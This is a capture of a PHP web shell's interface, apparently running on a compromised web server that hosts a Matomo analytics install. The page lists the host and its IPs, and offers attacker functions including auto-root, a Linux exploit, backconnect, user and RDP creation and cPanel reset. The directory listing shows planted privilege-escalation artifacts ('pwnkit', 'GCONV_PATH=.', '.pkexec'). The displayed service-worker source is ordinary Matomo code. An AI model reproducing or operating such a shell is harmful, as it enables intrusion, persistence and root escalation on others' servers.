Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.141.201.200
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
core
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
matomo
[ DIR ]
drwxr-xr-x
misc
[ DIR ]
drwxr-xr-x
node_modules
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
tmp
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
CHANGELOG.md
99.68
KB
-rw-r--r--
CONTRIBUTING.md
929
B
-rw-r--r--
DIObject.php
578
B
-rw-r--r--
LEGALNOTICE
8.44
KB
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
LegacyAutoloader.php
828
B
-rw-r--r--
PRIVACY.md
4.51
KB
-rw-r--r--
README.md
5.78
KB
-rw-r--r--
SECURITY.md
1.83
KB
-rw-r--r--
console
753
B
-rwxr-xr-x
favicon.ico
0
B
-rw-r--r--
index.php
712
B
-rw-r--r--
matomo.js
64.3
KB
-rw-r--r--
matomo.php
328
B
-rw-r--r--
offline-service-worker.js
6.23
KB
-rw-r--r--
piwik.js
64.3
KB
-rw-r--r--
piwik.php
2.62
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
770
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : offline-service-worker.js
var matomoAnalytics = {initialize: function (options) { if ('object' !== typeof options) { options = {}; } var maxLimitQueue = options.queueLimit || 50; var maxTimeLimit = options.timeLimit || (60 * 60 * 24); // in seconds... // same as configured in in tracking_requests_require_authentication_when_custom_timestamp_newer_than function getQueue() { return new Promise(function(resolve, reject) { // do a thing, possibly async, then... if (!indexedDB) { reject(new Error('No support for IndexedDB')); return; } var request = indexedDB.open("matomo", 1); request.onerror = function() { console.error("Error", request.error); reject(new Error(request.error)); }; request.onupgradeneeded = function(event) { console.log('onupgradeneeded') var db = event.target.result; if (!db.objectStoreNames.contains('requests')) { db.createObjectStore('requests', {autoIncrement : true, keyPath: 'id'}); } }; request.onsuccess = function(event) { var db = event.target.result; let transaction = db.transaction("requests", "readwrite"); let requests =transaction.objectStore("requests"); resolve(requests); }; }); } function syncQueue () { // check something in indexdb return getQueue().then(function (queue) { queue.openCursor().onsuccess = function(event) { var cursor = event.target.result; if (cursor && navigator.onLine) { cursor.continue(); var queueId = cursor.value.id; var secondsQueuedAgo = ((Date.now() - cursor.value.created) / 1000); secondsQueuedAgo = parseInt(secondsQueuedAgo, 10); if (secondsQueuedAgo > maxTimeLimit) { // too old getQueue().then(function (queue) { queue.delete(queueId); }); return; } console.log("Cursor " + cursor.key); var init = { headers: cursor.value.headers, method: cursor.value.method, } if (cursor.value.body) { init.body = cursor.value.body; } if (cursor.value.url.includes('?')) { cursor.value.url += '&cdo=' + secondsQueuedAgo; } else if (init.body) { // todo test if this actually works for bulk requests init.body = init.body.replace('&idsite=', '&cdo=' + secondsQueuedAgo + '&idsite='); } fetch(cursor.value.url, init).then(function (response) { console.log('server response', response); if (response.status < 400) { getQueue().then(function (queue) { queue.delete(queueId); }); } }).catch(function (error) { console.error('Send to Server failed:', error); throw error }) } else { console.log("No more entries!"); } }; }); } function limitQueueIfNeeded(queue) { var countRequest = queue.count(); countRequest.onsuccess = function(event) { if (event.result > maxLimitQueue) { // we delete only one at a time because of concurrency some other process might delete data too queue.openCursor().onsuccess = function(event) { var cursor = event.target.result; if (cursor) { queue.delete(cursor.value.id); limitQueueIfNeeded(queue); } } } } } self.addEventListener('sync', function(event) { if (event.tag === 'matomoSync') { syncQueue(); } }); self.addEventListener('fetch', function (event) { let isOnline = navigator.onLine; let isTrackingRequest = (event.request.url.includes('/matomo.php') || event.request.url.includes('/piwik.php')); let isTrackerRequest = event.request.url.endsWith('/matomo.js') || event.request.url.endsWith('/piwik.js'); if (isTrackerRequest) { if (isOnline) { syncQueue(); } caches.open('matomo').then(function(cache) { return cache.match(event.request).then(function (response) { return response || fetch(event.request).then(function(response) { cache.put(event.request, response.clone()); return response; }); }); }) } else if (isTrackingRequest && isOnline) { syncQueue(); event.respondWith(fetch(event.request)); } else if (isTrackingRequest && !isOnline) { var headers = {}; for (const [header, value] of event.request.headers) { headers[header] = value; } let requestInfo = { url: event.request.url, referrer : event.request.referrer, method : event.request.method, referrerPolicy : event.request.referrerPolicy, headers : headers, created: Date.now() }; event.request.text().then(function (postData) { requestInfo.body = postData; getQueue().then(function (queue) { queue.add(requestInfo); limitQueueIfNeeded(queue); return queue; }); }); } }); } };
Close